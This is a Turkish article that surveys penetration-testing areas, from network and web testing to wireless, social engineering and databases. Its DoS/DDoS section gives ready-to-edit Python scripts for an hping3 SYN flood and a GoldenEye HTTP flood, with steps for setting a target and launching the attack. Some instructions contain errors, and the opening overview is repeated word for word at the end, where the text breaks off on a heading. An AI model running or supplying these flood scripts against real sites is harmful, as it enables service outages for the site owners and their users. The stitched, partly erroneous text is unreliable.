Sızma Testi Uygulama Alanları
Sızma testleri, bilgisayar ve ağ sistemlerinin güvenliğini değerlendirmek için yapılan kontrollü saldırılardır. Sızma testleri, siber saldırganların kullandığı yöntemleri taklit ederek, sistemlerin zayıf noktalarını ve açıklarını tespit etmeyi amaçlar. Sızma testleri, farklı sistem ve uygulamalara göre çeşitli şekillerde yapılabilir. Aşağıda, sızma testlerinin uygulama alanlarından bazıları kısaca açıklanmıştır.
- Ağ güvenliği sızma testleri: Bu testler, bir ağın içinde veya dışında bulunan cihazların, servislerin ve protokollerin güvenliğini ölçmek için yapılır. Ağ güvenliği sızma testleri, ağın erişilebilirliğini, bütünlüğünü ve gizliliğini sağlamak için potansiyel saldırı vektörlerini belirler.
- Web uygulamalarına yönelik sızma testleri: Bu testler, web tabanlı uygulamaların güvenliğini değerlendirmek için yapılır. Web uygulamalarına yönelik sızma testleri, uygulamanın iş mantığını, veri akışını, kullanıcı arayüzünü ve sunucu iletişimini test eder. Web uygulamalarına yönelik sızma testleri, uygulamanın web saldırılarına karşı savunmasız olup olmadığını ortaya çıkarır.
- Mobil uygulamalar için sızma testleri: Bu testler, mobil cihazlarda çalışan uygulamaların güvenliğini ölçmek için yapılır. Mobil uygulamalar için sızma testleri, uygulamanın kodunu, veri depolamasını, şifrelemesini, izinlerini ve ağ trafiğini inceler. Mobil uygulamalar için sızma testleri, uygulamanın mobil saldırılara karşı ne kadar dayanıklı olduğunu gösterir.
- Kritik altyapılı sistemler için sızma testleri: Bu testler, hayati öneme sahip sistemlerin güvenliğini test etmek için yapılır. Kritik altyapılı sistemler için sızma testleri, enerji, ulaşım, sağlık, finans gibi sektörlerde kullanılan sistemleri hedef alır. Kritik altyapılı sistemler için sızma testleri, bu sistemlerin işlevselliğini, güvenilirliğini ve dayanıklılığını ölçer.
- Yük (DDoS) testleri: Bu testler, bir sistemin veya uygulamanın yüksek trafik veya istek altında nasıl performans gösterdiğini test etmek için yapılır. Yük (DDoS) testleri, sistemin veya uygulamanın kapasitesini, hızını, stabilitesini ve kaynak kullanımını belirler. Yük (DDoS) testleri, sistemin veya uygulamanın DDoS saldırılarına karşı ne kadar hazırlıklı olduğunu gösterir.
- Bulut sistemi için sızma testleri: Bu testler, bulut ortamında barındırılan sistemlerin ve uygulamaların güvenliğini test etmek için yapılır. Bulut sistemi için sızma testleri, bulut sağlayıcısının altyapısını, bulut hizmetlerinin konfigürasyonunu, bulut verilerinin korunmasını ve bulut erişim yönetimini değerlendirir. Bulut sistemi için sızma testleri, bulut ortamının siber tehditlere karşı ne kadar güvenli olduğunu ortaya koyar.
- Kablosuz ağlar için sızma testleri: Bu testler, kablosuz ağların güvenliğini ölçmek için yapılır. Kablosuz ağlar için sızma testleri, kablosuz ağın kapsama alanını, şifreleme seviyesini, kimlik doğrulama mekanizmasını ve ağa bağlı cihazları test eder. Kablosuz ağlar için sızma testleri, kablosuz ağın kablosuz saldırılara karşı ne kadar güvende olduğunu belirler.
- Sosyal mühendislik testleri: Bu testler, insan faktörünün güvenlik açısından ne kadar etkili olduğunu test etmek için yapılır. Sosyal mühendislik testleri, saldırganların insanları kandırarak, manipüle ederek veya ikna ederek bilgi veya erişim elde etmeye çalıştığı senaryoları simüle eder. Sosyal mühendislik testleri, insanların güvenlik farkındalığını, eğitimini ve politikalarını değerlendirir.
- Veri tabanı sızma testleri: Bu testler, veri tabanlarının güvenliğini test etmek için yapılır. Veri tabanı sızma testleri, veri tabanının yapılandırmasını, yetkilendirmesini, yedeklemesini ve güncellemesini kontrol eder. Veri tabanı sızma testleri, veri tabanının veri sızıntısı, veri değiştirme, veri silme gibi saldırılara karşı ne kadar korunaklı olduğunu gösterir.
Ağ Sızma Testleri
Ağ sızma testleri, bir kurumun veya kuruluşun bilgisayar ve ağ sistemlerine karşı olası siber saldırıları önlemek veya azaltmak için yapılan güvenlik testleridir. Ağ sızma testleri, iç ağ ve dış ağ olmak üzere iki türde yapılabilir. İç ağ sızma testleri, kurumun veya kuruluşun kendi ağında bulunan cihazlar, servisler, protokoller, veriler, hesaplar, parolalar gibi unsurların güvenliğini kontrol eder. Dış ağ sızma testleri, kurumun veya kuruluşun internet üzerinden erişilebilen sistemleri, uygulamaları, web siteleri, kablosuz ağları, yönlendiricileri gibi unsurların güvenliğini kontrol eder. Ağ sızma testleri, güvenlik uzmanları tarafından belirlenen senaryolar ve araçlar kullanılarak gerçekleştirilir. Ağ sızma testleri, sistemlerin zayıf noktalarını, açıklarını, risklerini ve iyileştirme önerilerini raporlar. Ağ sızma testleri, sistemlerin erişilebilirliğini, bütünlüğünü, gizliliğini ve performansını artırmayı amaçlar.
İç ağ sızma testleri, kurumun veya kuruluşun kendi ağında bulunan unsurların güvenliğini test etmek için yapılır. Bu testlerde, güvenlik uzmanı aşağıdaki işlemleri yapar:
- İç ağda mevcut olan IP adreslerini tespit eder. Bu sayede, ağdaki cihazların sayısını, konumunu ve bağlantı durumunu belirler.
- Ağdaki cihazlar, servisler ve protokoller için güvenlik açığı taraması yapar. Bu sayede, sistemlerin güncel olmayan, zayıf veya yanlış yapılandırılmış olabilecek unsurlarını ortaya çıkarır.
- Ağ trafiğini izler ve analiz eder. Bu sayede, ağdaki veri akışını, iletişim protokollerini, kablosuz ağ kullanımını, şifreleme seviyelerini ve potansiyel saldırı noktalarını gözlemler.
- Bulduğu güvenlik açıklarından yararlanarak, sistemlere sızmayı ve veri ele geçirmeyi dener. Bu sayede, sistemlerin savunmasızlığını, etkilenme derecesini ve zarar görme potansiyelini ölçer.
- Ağdaki paylaşımlara, sunuculara, yazıcılara, anahtarlara, yönlendiriciler ve kablosuz erişim noktalarına erişmeye çalışır. Bu sayede, sistemlerin yetkilendirme, kimlik doğrulama ve parola politikalarını test eder.
- Ağdaki yetkisiz cihazları veya yazılımları tespit eder. Bu sayede, ağın güvenliğini tehlikeye atabilecek unsurları ortadan kaldırır.
- Ağdaki aktif hesapları kontrol eder. Bu sayede, artık kullanılmayan veya gereksiz olan hesapları kapatır.
- Ağdaki parola değiştirme sıklığını kontrol eder. Bu sayede, parolaların güvenliğini ve güncelliğini sağlar.
- Yaptığı testlerin sonuçlarını ve önerilerini raporlar. Bu sayede, sistemlerin güvenlik seviyesini ve iyileştirme gereksinimlerini belgeler.
Dış ağ sızma testleri, kurumun veya kuruluşun internet üzerinden erişilebilen unsurların güvenliğini test etmek için yapılır. Bu testlerde, güvenlik uzmanı aşağıdaki işlemleri yapar:
- Ağdaki IP adreslerini tespit eder. Bu sayede, ağın internete açık olan cihazlarını, servislerini ve protokollerini belirler.
- Web sunucusunun IP adresini kontrol eder. Bu sayede, web sitesinin konumunu, durumunu ve bağlantı kalitesini ölçer.
- Yönlendiricinin ayarlarını kontrol eder. Bu sayede, yönlendiricinin güvenlik seviyesini, yapılandırmasını ve güncelliğini test eder.
- Web sitesinin güvenlik açıklarını tespit eder. Bu sayede, web sitesinin iş mantığını, veri akışını, kullanıcı arayüzünü ve sunucu iletişimini analiz eder.
- Web sitesine manuel veya otomatik olarak saldırı yapar. Bu sayede, web sitesinin web saldırılarına karşı savunmasız olup olmadığını, veri sızıntısı, veri değiştirme, veri silme gibi saldırılara karşı ne kadar korunaklı olduğunu test eder.
- Kablosuz ağı kontrol eder ve yetkisiz kullanıcı varsa çıkartır. Bu sayede, kablosuz ağın güvenliğini, şifreleme seviyesini, kimlik doğrulama mekanizmasını ve ağa bağlı cihazları test eder.
- Herkesin kullanımında olan bir cihaz için parola deneme işlemi yapar. Bu sayede, cihazın güvenliğini, parola politikasını ve parola gücünü test eder.
- Yaptığı testlerin sonuçlarını ve önerilerini raporlar. Bu sayede, sistemlerin güvenlik seviyesini ve iyileştirme gereksinimlerini belgeler.
Web Uygulama Sızma Testi
Web uygulama sızma testi, bir web sitesinin veya uygulamasının güvenliğini değerlendirmek için yapılan bir güvenlik testidir. Bu testte, güvenlik uzmanı, web sitesinin veya uygulamasının internet üzerinden erişilebilen servislerini, verilerini, işlevlerini ve açıklarını kontrol eder. Web uygulama sızma testi, OWASP Metodolojisi kılavuzunda belirtilen aşağıdaki işlem basamaklarını içerir:
- Giriş ve Hedefler: Bu aşamada, güvenlik uzmanı, testin amacını, kapsamını, yöntemini, zamanlamasını, sorumluluklarını ve raporlama formatını belirler. Ayrıca, testin hedeflediği web sitesinin veya uygulamasının genel bilgilerini, işlevlerini, teknolojilerini ve mimarisini tanımlar.
- Bilgi Toplama: Bu aşamada, güvenlik uzmanı, web sitesinin veya uygulamasının yapısını, bileşenlerini, bağımlılıklarını, kaynaklarını, parametrelerini, kullanıcılarını ve verilerini toplar. Bu sayede, web sitesinin veya uygulamasının saldırı yüzeyini, zayıf noktalarını ve potansiyel saldırı vektörlerini belirler.
- Yapılandırma ve Dağıtım Yönetimi Sınaması: Bu aşamada, güvenlik uzmanı, web sitesinin veya uygulamasının sunucu tarafındaki yapılandırma ve dağıtım yönetimini test eder. Bu sayede, web sitesinin veya uygulamasının güncel, güvenli ve doğru yapılandırılmış olup olmadığını, sunucu tarafındaki güvenlik açıklarını, yanlış yapılandırılmış servisleri, gereksiz dosyaları ve dizinleri, yedekleme ve günlük dosyalarını, hata mesajlarını ve meta verilerini kontrol eder.
- Kimlik Yönetimi Testi: Bu aşamada, güvenlik uzmanı, web sitesinin veya uygulamasının kimlik yönetimini test eder. Bu sayede, web sitesinin veya uygulamasının kullanıcı hesaplarını, rollerini, gruplarını, izinlerini, politikalarını ve süreçlerini kontrol eder. Ayrıca, web sitesinin veya uygulamasının kullanıcı hesaplarının oluşturulması, değiştirilmesi, silinmesi, askıya alınması, kurtarılması ve yönetilmesi gibi işlemlerini test eder.
- Kimlik Doğrulama Testi: Bu aşamada, güvenlik uzmanı, web sitesinin veya uygulamasının kimlik doğrulama mekanizmasını test eder. Bu sayede, web sitesinin veya uygulamasının kullanıcıların kimliğini doğrulamak için kullandığı yöntemleri, protokolleri, algoritmaları, parolaları, oturum açma formlarını, çerezleri, jetonları, sertifikaları ve diğer unsurları kontrol eder. Ayrıca, web sitesinin veya uygulamasının kimlik doğrulama işlemlerindeki güvenlik açıklarını, zayıflıklarını, hatalarını ve saldırılara karşı savunmasızlıklarını test eder.
- Yetkilendirme Testi: Bu aşamada, güvenlik uzmanı, web sitesinin veya uygulamasının yetkilendirme mekanizmasını test eder. Bu sayede, web sitesinin veya uygulamasının kullanıcıların erişim haklarını ve kısıtlamalarını yönetmek için kullandığı yöntemleri, politikaları, kuralları, rolleri, grupları, izinleri ve diğer unsurları kontrol eder. Ayrıca, web sitesinin veya uygulamasının yetkilendirme işlemlerindeki güvenlik açıklarını, zayıflıklarını, hatalarını ve saldırılara karşı savunmasızlıklarını test eder.
- Oturum Yönetimi Testi: Bu aşamada, güvenlik uzmanı, web sitesinin veya uygulamasının oturum yönetimini test eder. Bu sayede, web sitesinin veya uygulamasının kullanıcıların oturumlarını açmak, sürdürmek, kapatmak ve yönetmek için kullandığı yöntemleri, protokolleri, çerezleri, jetonları, zaman aşımlarını, oturum kimliklerini ve diğer unsurları kontrol eder. Ayrıca, web sitesinin veya uygulamasının oturum yönetimi işlemlerindeki güvenlik açıklarını, zayıflıklarını, hatalarını ve saldırılara karşı savunmasızlıklarını test eder.
- Giriş Doğrulama Testi: Bu aşamada, güvenlik uzmanı, web sitesinin veya uygulamasının giriş doğrulama mekanizmasını test eder. Bu sayede, web sitesinin veya uygulamasının kullanıcıların girdikleri verileri doğrulamak, filtrelemek, kodlamak, dönüştürmek ve işlemek için kullandığı yöntemleri, fonksiyonları, kütüphaneleri, parametreleri ve diğer unsurları kontrol eder. Ayrıca, web sitesinin veya uygulamasının giriş doğrulama işlemlerindeki güvenlik açıklarını, zayıflıklarını, hatalarını ve saldırılara karşı savunmasızlıklarını test eder.
- Hata İşleme: Bu aşamada, güvenlik uzmanı, web sitesinin veya uygulamasının hata işleme mekanizmasını test eder. Bu sayede, web sitesinin veya uygulamasının beklenmedik durumlarda, hatalarda, istisnalarda, kesintilerde ve saldırılarda nasıl davrandığını, hangi mesajları, kodları, verileri ve bilgileri gösterdiğini, nasıl kayıt tuttuğunu ve nasıl iyileştirme yaptığını kontrol eder.
- Şifreleme: Bu aşamada, güvenlik uzmanı, web sitesinin veya uygulamasının şifreleme mekanizmasını test eder. Bu sayede, web sitesinin veya uygulamasının verileri, iletişimi, parolaları, oturumları, jetonları, sertifikaları ve diğer unsurları şifrelemek, şifresini çözmek, imzalamak ve doğrulamak için kullandığı yöntemleri, algoritmaları, anahtarları, protokolleri ve standartları kontrol eder. Ayrıca, web sitesinin veya uygulamasının şifreleme işlemlerindeki güvenlik açıklarını, zayıflıklarını, hatalarını ve saldırılara karşı savunmasızlıklarını test eder.
- İş Mantığı Testi: Bu aşamada, güvenlik uzmanı, web sitesinin veya uygulamasının iş mantığını test eder. Bu sayede, web sitesinin veya uygulamasının işlevlerini, süreçlerini, kurallarını, kısıtlamalarını, senaryolarını ve akışlarını kontrol eder. Ayrıca, web sitesinin veya uygulamasının iş mantığı işlemlerindeki güvenlik açıklarını, zayıflıklarını, hatalarını ve saldırılara karşı savunmasızlıklarını test eder.
- İstemci Tarafı Testi: Bu aşamada, güvenlik uzmanı, web sitesinin veya uygulamasının istemci tarafını test eder. Bu sayede, web sitesinin veya uygulamasının kullanıcı arayüzünü, tarayıcıyı, eklentileri, uygulamaları, çerezleri, yerel depolamayı, javascript kodu, HTML, CSS, flash, vb. gibi unsurları kontrol eder. Ayrıca, web sitesinin veya uygulamasının istemci tarafı işlemlerindeki güvenlik açıklarını, zayıflıklarını, hatalarını ve saldırılara karşı savunmasızlıklarını test eder.
Mobil Uygulama Sızma Testi
Mobil uygulama sızma testi, akıllı telefonlar, tabletler ve diğer mobil cihazlarda çalışan uygulamaların güvenliğini ölçmek için yapılan bir güvenlik testidir. Bu testte, güvenlik uzmanı, mobil uygulamaların kodunu, veri depolamasını, şifrelemesini, izinlerini, ağ trafiğini ve diğer unsurlarını inceler. Bu sayede, mobil uygulamaların siber saldırılara karşı ne kadar dayanıklı olduğunu, veri sızıntısı, veri değiştirme, veri silme, kötü amaçlı yazılım bulaştırma, yetkisiz erişim, kimlik avı gibi saldırılara karşı ne kadar korunaklı olduğunu test eder. Mobil uygulama sızma testi, mobil cihazlar ve uygulamalar üzerinde bulunan hassas bilgileri, işlevleri ve servisleri güvenli hale getirmeyi amaçlar.
Kritik Altyapı Sistemleri Sızma Testleri
Kritik altyapı sistemleri sızma testleri, bir ülkenin hayati öneme sahip olan sistemlerinin güvenliğini değerlendirmek için yapılan güvenlik testleridir. Bu testlerde, güvenlik uzmanı, kritik altyapı sistemlerinin enerji, iletişim, finans, sağlık, gıda, su, ulaşım, tehlikeli maddeler ve hükümet gibi sektörlerde kullanılan alt sistemlerini, verilerini, işlevlerini ve açıklarını kontrol eder. Kritik altyapı sistemleri sızma testleri, bu sistemlerin siber saldırılara karşı ne kadar dayanıklı olduğunu, veri sızıntısı, veri değiştirme, veri silme, kötü amaçlı yazılım bulaştırma, yetkisiz erişim, kimlik avı gibi saldırılara karşı ne kadar korunaklı olduğunu test eder. Kritik altyapı sistemleri sızma testleri, bu sistemlerin işlevselliğini, güvenilirliğini ve dayanıklılığını artırmayı amaçlar.
Hizmet Engelleme ve Yük Testi
DDoS saldırıları, bir kurumun internet sistemine çok sayıda istek göndererek onu yavaşlatan veya çalışamaz hale getiren saldırılardır. Bu saldırılar, kurumun çevrimiçi hizmetlerine erişimi engelleyerek zarar verir. DDoS saldırıları günümüzde çok yaygın bir saldırı yöntemidir. DoS ve DDoS saldırılarının amacı, sistemin normal çalışmasını bozmaktır. DoS/DDoS testleri, bu saldırılara karşı sistemlerin veya uygulamaların ne kadar dayanıklı olduğunu test etmeye ve olası sorunları çözmeye yardımcı olur.
DOS saldırılarını test etmek için hping3¹ adlı bir araç kullanabilirsiniz. Bu araç, paketleri özelleştirmenize ve sunucuya gönderme hızını ayarlamanıza olanak sağlar. Ayrıca, güvenlik duvarı testi, işletim sistemi parmak izi, ağ testi, port tarama, çalışma süresi tahmini gibi birçok işlemi yapmanıza yardımcı olur. Bir Python kodu örneği aşağıdaki gibidir:
# hping3 ile bir web sitesine DOS saldırısı yapmak için bir kod örneği
# Bu kod sadece eğitim amaçlıdır ve gerçek bir saldırı için kullanılmamalıdır
import os
# Hedef web sitesinin adresi
target = "www.example.com"
# Hedef web sitesinin IP adresi
target_ip = os.popen("host " + target + " | grep 'has address' | cut -d' ' -f4").read()
# Hedef web sitesine gönderilecek paket sayısı
packet_count = 1000
# Hedef web sitesine gönderilecek paket boyutu (bayt)
packet_size = 1000
# Hedef web sitesine gönderilecek paketlerin aralığı (milisaniye)
packet_interval = 10
# Hping3 komutu
command = f"hping3 -c {packet_count} -d {packet_size} -i u{packet_interval} -S -p 80 {target_ip}"
# Komutu çalıştır
os.system(command)
DDOS saldırılarını test etmek için GoldenEye adlı bir araç kullanabilirsiniz. Bu araç, HULK¹ temelinde oluşturulmuş bir açık kaynaklı DDOS saldırı testi yazılımıdır. Bu araç, sadece paket göndermekle kalmaz, aynı zamanda kullanıcıların sunucuya bağlı kalmasını da simüle eder. Bu araç, ağ ve uygulamalar üzerinde stres testi yapmak için idealdir. Bir Python kodu örneği aşağıdaki gibidir:
# GoldenEye ile bir web sitesine DDOS saldırısı yapmak için bir kod örneği
# Bu kod sadece eğitim amaçlıdır ve gerçek bir saldırı için kullanılmamalıdır
import os
# Hedef web sitesinin adresi
target = "http://www.example.com"
# Saldırıya katılacak iş parçacığı sayısı
thread_count = 100
# GoldenEye komutu
command = f"python goldeneye.py {target} -w {thread_count}"
# Komutu çalıştır
os.system(command)
Bu iki kod, hping3 ve GoldenEye adlı iki araç kullanarak bir web sitesine DOS ve DDOS saldırısı yapmak için yazılmıştır. Bu araçlar, web sitesinin performansını ve dayanıklılığını test etmek için kullanılabilir, ancak yalnızca eğitim amaçlıdır. Bu kodları çalıştırmak için, aşağıdaki adımları izleyebilirsiniz:
- Öncelikle, hping3 ve GoldenEye araçlarını indirmeniz ve kurmanız gerekir. Bu araçlar, Linux işletim sistemi için tasarlanmıştır, ancak Windows veya Mac üzerinde de çalıştırabilirsiniz. Bu araçları indirin.
- Sonra, Python programlama dili ve os modülünü bilgisayarınıza yüklemeniz gerekir. Python, bu kodları çalıştırmak için kullanılan bir dildir. Os modülü, işletim sistemi ile etkileşim kurmak için kullanılan bir kütüphanedir. Python ve os modüllerini yükleyin.
- Daha sonra, bu kodları bir metin editörü ile açmanız ve hedef web sitesinin adresini, IP adresini, paket sayısını, paket boyutunu, paket aralığını ve iş parçacığı sayısını istediğiniz gibi değiştirmeniz gerekir. Bu değerler, saldırının gücünü ve süresini belirler. Ancak, bu değerleri çok yüksek yapmamalısınız, çünkü bu, web sitesine zarar verebilir veya bilgisayarınızı yavaşlatabilir.
- Son olarak, bu kodları bir terminal veya komut satırı ile çalıştırmanız gerekir. Terminal veya komut satırı, bilgisayarınızda programları çalıştırmak için kullanabileceğiniz bir arayüzdür. Bu kodları çalıştırmak için, terminal veya komut satırını açın ve kodların bulunduğu klasöre gidin. Sonra, aşağıdaki komutları yazın ve enter tuşuna basın:
- python hping3.py
- python goldeneye.py
Bu kodları çalıştırdığınızda, hedef web sitesine saldırı başlayacaktır. Saldırı sırasında, terminal veya komut satırında gönderilen ve alınan paketlerin sayısını ve içeriğini görebilirsiniz. Saldırıyı durdurmak için, terminal veya komut satırında Ctrl+C tuşlarına basabilirsiniz.
Bulut (Cloud) Sızma Testi
Bulut sızma testi, bulut sisteminde depolanan veri ve programların güvenliğini kontrol etmek için yapılan bir güvenlik testidir. Bulut sızma testi, bulut sisteminin zayıf noktalarını, güvenlik açıklarını ve saldırılara karşı savunmasızlığını tespit etmeyi amaçlar. Bulut sızma testi, bulut sisteminin güvenliğini artırmak, veri kaybını önlemek ve yasal uyumluluğu sağlamak için önemlidir.
Kablosuz Ağ (Wireless) Sızma Testi
Kablosuz ağ sızma testi, bir kurumun kablosuz ağının güvenliğini ölçmek için yapılan bir güvenlik testidir. Kablosuz ağ sızma testi, kablosuz ağa bağlı cihazların, erişim noktalarının, şifreleme yöntemlerinin ve protokollerin güvenlik seviyesini belirlemek için çeşitli teknikler kullanır. Kablosuz ağ sızma testi, kablosuz ağın saldırganlar tarafından ele geçirilmesini, verilerin çalınmasını veya bozulmasını, ağ performansının düşmesini veya kesilmesini önlemek için yapılır. Kablosuz ağ sızma testi, kablosuz ağın güvenlik durumunu raporlayarak, güvenlik açıklarını ve iyileştirme önerilerini sunar.
Android İçin Nmap Wrapper Üzerinden Kablosuz Ağ Sızma Testi
Android için Nmap Wrapper uygulaması, Nmap adlı popüler bir ağ tarama aracını Android cihazlarda kullanmaya yarayan bir uygulamadır. Nmap, ağdaki cihazları, açık portları, çalışan servisleri, işletim sistemlerini, güvenlik duvarlarını ve daha birçok bilgiyi tespit etmek için kullanılan bir araçtır. Nmap Wrapper uygulaması, Nmap'in komut satırı arayüzünü Android cihazlarda kullanıcı dostu bir şekilde sunar. Nmap Wrapper uygulaması ile kablosuz ağ sızma testi yapmak için aşağıdaki adımları izleyebilirsiniz:
1. Nmap Wrapper uygulamasını Google Play Store'dan indirin ve kurun. Uygulamayı açın ve izinleri verin.
2. Uygulamanın ana ekranında, taramak istediğiniz ağın IP adresini veya CIDR aralığını girin. Örneğin, 192.168.1.0/24 gibi. Ayrıca, tarama seçeneklerini belirlemek için sağ üst köşedeki menü simgesine dokunabilirsiniz. Burada, tarama hızını, tarama tipini, port aralığını, ekstra Nmap parametrelerini ve çıktı formatını seçebilirsiniz. Tarama tipi olarak, SYN, ACK, UDP, FIN, XMAS, NULL, CONNECT veya CUSTOM seçeneklerinden birini seçebilirsiniz. Ekstra Nmap parametreleri olarak, Nmap'in desteklediği herhangi bir parametreyi girebilirsiniz. Örneğin, -sV, -O, -A, -T4 gibi. Çıktı formatı olarak, XML, HTML, JSON veya TEXT seçeneklerinden birini seçebilirsiniz. Tarama seçeneklerini belirledikten sonra, TAMAM'a dokunun.
3. Taramayı başlatmak için, TARA butonuna dokunun. Tarama süresi, ağın büyüklüğüne, tarama hızına, tarama tipine ve ekstra Nmap parametrelerine bağlı olarak değişebilir. Tarama bittiğinde, uygulama size tarama sonuçlarını gösterecektir. Burada, ağdaki cihazların IP adreslerini, MAC adreslerini, işletim sistemlerini, açık portlarını, çalışan servislerini, banner bilgilerini, güvenlik duvarı durumlarını ve daha birçok bilgiyi görebilirsiniz. Ayrıca, tarama sonuçlarını kaydetmek, paylaşmak veya silmek için sağ alt köşedeki menü simgesine dokunabilirsiniz.
4. Tarama sonuçlarını inceleyerek, kablosuz ağın güvenlik durumunu değerlendirebilirsiniz. Ağdaki cihazların zayıf şifreleme yöntemleri, güncel olmayan işletim sistemleri, açık portlar, çalışan servisler, banner bilgileri, güvenlik duvarı durumları gibi bilgileri, ağın saldırılara karşı savunmasız olup olmadığını anlamak için kullanabilirsiniz. Ayrıca, ağdaki cihazlara yönelik daha detaylı sızma testleri yapmak için, Nmap Wrapper uygulamasının sunduğu ekstra Nmap parametrelerini kullanabilirsiniz. Örneğin, -sV parametresi ile servis versiyonlarını, -O parametresi ile işletim sistemi tespiti yapabilirsiniz. -A parametresi ile de ağdaki cihazlara yönelik kapsamlı bir sızma testi yapabilirsiniz.
Sosyal Mühendislik Testleri
Sosyal mühendislik testleri, bir kurumun güvenliğini etkileyebilecek çalışanların davranışlarını ve bilgilerini test etmek için yapılan bir güvenlik testidir. Sosyal mühendislik testleri, çalışanların güvenlik konusunda ne kadar bilinçli, dikkatli ve eğitimli olduklarını ölçer. Sosyal mühendislik testleri, çalışanlara sahte e-postalar, telefon aramaları, web siteleri, fiziksel erişim gibi yöntemlerle saldırgan rolü oynayarak, onlardan hassas veya gizli bilgileri vermelerini, zararlı dosyaları açmalarını veya güvenlik politikalarını ihlal etmelerini ister. Sosyal mühendislik testleri, çalışanların bu tür saldırılara nasıl tepki verdiklerini, hangi hataları yaptıklarını ve nasıl daha güvenli davranabileceklerini raporlar. Sosyal mühendislik testleri, kurumun güvenlik kültürünü geliştirmek, çalışanların güvenlik farkındalığını artırmak ve sosyal mühendislik saldırılarını önlemek için yapılır.
Veri Tabanı Sistemlerine Yönelik Güvenlik Testleri
Veri tabanı sistemlerine yönelik güvenlik testleri, bir kurumun veri tabanı sistemlerinin güvenliğini ölçmek için yapılan bir güvenlik testidir. Veri tabanı sistemlerine yönelik güvenlik testleri, ORACLE, MSSQL, MySQL gibi farklı veri tabanı sistemlerini destekler. Veri tabanı sistemlerine yönelik güvenlik testleri, veri tabanı sistemlerine yetkili kullanıcı olarak erişerek, veri tabanı yapılandırmasını, veri tabanı güvenlik politikalarını, veri tabanı yedekleme ve kurtarma işlemlerini, veri tabanı izleme ve denetim mekanizmalarını, veri tabanı saldırı senaryolarını ve veri tabanı güvenlik zafiyetlerini kontrol eder. Veri tabanı sistemlerine yönelik güvenlik testleri, veri tabanı sistemlerinin güvenlik durumunu raporlayarak, güvenlik açıklarını ve iyileştirme önerilerini sunar. Veri tabanı sistemlerine yönelik güvenlik testleri, veri tabanı sistemlerinin güvenliğini sağlamak, veri kaybını veya sızıntısını önlemek, veri tabanı performansını ve verimliliğini artırmak, yasal uyumluluğu sağlamak için yapılır.
Sızma testleri, bilgisayar ve ağ sistemlerinin güvenliğini değerlendirmek için yapılan kontrollü saldırılardır. Sızma testleri, siber saldırganların kullandığı yöntemleri taklit ederek, sistemlerin zayıf noktalarını ve açıklarını tespit etmeyi amaçlar. Sızma testleri, farklı sistem ve uygulamalara göre çeşitli şekillerde yapılabilir. Aşağıda, sızma testlerinin uygulama alanlarından bazıları kısaca açıklanmıştır.
- Ağ güvenliği sızma testleri: Bu testler, bir ağın içinde veya dışında bulunan cihazların, servislerin ve protokollerin güvenliğini ölçmek için yapılır. Ağ güvenliği sızma testleri, ağın erişilebilirliğini, bütünlüğünü ve gizliliğini sağlamak için potansiyel saldırı vektörlerini belirler.
- Web uygulamalarına yönelik sızma testleri: Bu testler, web tabanlı uygulamaların güvenliğini değerlendirmek için yapılır. Web uygulamalarına yönelik sızma testleri, uygulamanın iş mantığını, veri akışını, kullanıcı arayüzünü ve sunucu iletişimini test eder. Web uygulamalarına yönelik sızma testleri, uygulamanın web saldırılarına karşı savunmasız olup olmadığını ortaya çıkarır.
- Mobil uygulamalar için sızma testleri: Bu testler, mobil cihazlarda çalışan uygulamaların güvenliğini ölçmek için yapılır. Mobil uygulamalar için sızma testleri, uygulamanın kodunu, veri depolamasını, şifrelemesini, izinlerini ve ağ trafiğini inceler. Mobil uygulamalar için sızma testleri, uygulamanın mobil saldırılara karşı ne kadar dayanıklı olduğunu gösterir.
- Kritik altyapılı sistemler için sızma testleri: Bu testler, hayati öneme sahip sistemlerin güvenliğini test etmek için yapılır. Kritik altyapılı sistemler için sızma testleri, enerji, ulaşım, sağlık, finans gibi sektörlerde kullanılan sistemleri hedef alır. Kritik altyapılı sistemler için sızma testleri, bu sistemlerin işlevselliğini, güvenilirliğini ve dayanıklılığını ölçer.
- Yük (DDoS) testleri: Bu testler, bir sistemin veya uygulamanın yüksek trafik veya istek altında nasıl performans gösterdiğini test etmek için yapılır. Yük (DDoS) testleri, sistemin veya uygulamanın kapasitesini, hızını, stabilitesini ve kaynak kullanımını belirler. Yük (DDoS) testleri, sistemin veya uygulamanın DDoS saldırılarına karşı ne kadar hazırlıklı olduğunu gösterir.
- Bulut sistemi için sızma testleri: Bu testler, bulut ortamında barındırılan sistemlerin ve uygulamaların güvenliğini test etmek için yapılır. Bulut sistemi için sızma testleri, bulut sağlayıcısının altyapısını, bulut hizmetlerinin konfigürasyonunu, bulut verilerinin korunmasını ve bulut erişim yönetimini değerlendirir. Bulut sistemi için sızma testleri, bulut ortamının siber tehditlere karşı ne kadar güvenli olduğunu ortaya koyar.
- Kablosuz ağlar için sızma testleri: Bu testler, kablosuz ağların güvenliğini ölçmek için yapılır. Kablosuz ağlar için sızma testleri, kablosuz ağın kapsama alanını, şifreleme seviyesini, kimlik doğrulama mekanizmasını ve ağa bağlı cihazları test eder. Kablosuz ağlar için sızma testleri, kablosuz ağın kablosuz saldırılara karşı ne kadar güvende olduğunu belirler.
- Sosyal mühendislik testleri: Bu testler, insan faktörünün güvenlik açısından ne kadar etkili olduğunu test etmek için yapılır. Sosyal mühendislik testleri, saldırganların insanları kandırarak, manipüle ederek veya ikna ederek bilgi veya erişim elde etmeye çalıştığı senaryoları simüle eder. Sosyal mühendislik testleri, insanların güvenlik farkındalığını, eğitimini ve politikalarını değerlendirir.
- Veri tabanı sızma testleri: Bu testler, veri tabanlarının güvenliğini test etmek için yapılır. Veri tabanı sızma testleri, veri tabanının yapılandırmasını, yetkilendirmesini, yedeklemesini ve güncellemesini kontrol eder. Veri tabanı sızma testleri, veri tabanının veri sızıntısı, veri değiştirme, veri silme gibi saldırılara karşı ne kadar korunaklı olduğunu gösterir.
Ağ Sızma Testleri
